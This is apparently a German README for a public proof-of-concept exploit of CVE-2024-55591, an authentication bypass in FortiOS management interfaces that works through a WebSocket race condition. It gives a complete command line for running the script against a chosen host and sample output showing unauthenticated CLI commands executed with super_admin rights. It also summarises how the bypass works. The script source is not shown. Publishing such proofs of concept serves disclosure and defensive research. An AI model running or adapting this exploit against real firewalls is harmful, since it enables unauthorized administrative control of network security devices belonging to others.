
Proof-of-Concept-Exploit für CVE-2024-55591, der eine Authentifizierungsumgehung in FortiOS-Verwaltungsschnittstellen über eine WebSocket-Race-Condition demonstriert, um CLI-Befehle unauthentifiziert auszuführen.
Ein Proof of Concept für die Umgehung der Fortinet FortiOS-Authentifizierung
Siehe unseren Blogbeitrag für technische Details
python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \\| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \\___| Y | |( <_> \ / | | \
\/\_/ (____ |__| \\\\___ |___|__|__ | \\__ / \\/\_/ |__|
\\ \\ \\
CVE-2024-55591.py
(*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2024-55591]
[*] Checking if target is a FortiOS Management interface
[*] Target is confirmed as a FortiOS Management interface
[*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation
Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337
Output from server: �
get system status
Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443
Unknown action 0
FAKESERIAL #
FAKESERIAL # get system status
Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
Security Level: High
Firmware Signature: certified
Virus-DB: 1.00000(2018-04-09 18:07)
Dieses Skript ist ein Proof of Concept für CVE-2024-55591, das auf FortiOS (Fortigate) Management-Schnittstellen abzielt. Durch das Erzwingen von WebSocket-Verbindungen, um eine Race-Condition zusammen mit einer Authentifizierungsumgehung zu erzeugen, ist es möglich, FortiOS-CLI-Befehle ohne Authentifizierung zu senden. Weitere Details sind in unserem [Blogbeitrag] (https://labs.watchtowr.com/) beschrieben.
Weitere Details im Fortinet Advisory
Dieses Skript wurde nicht für den Einsatz mit FortiProxy entwickelt, da Vorabprüfen feststellen, ob es sich um eine FortiGate-Verwaltungsschnittstelle handelt, es wird jedoch angenommen, dass die zugrundeliegende Technik auch auf betroffene FortiProxy-Geräte anwendbar ist.
Für die neuesten Sicherheitsforschungen folgen Sie dem watchTowr Labs Team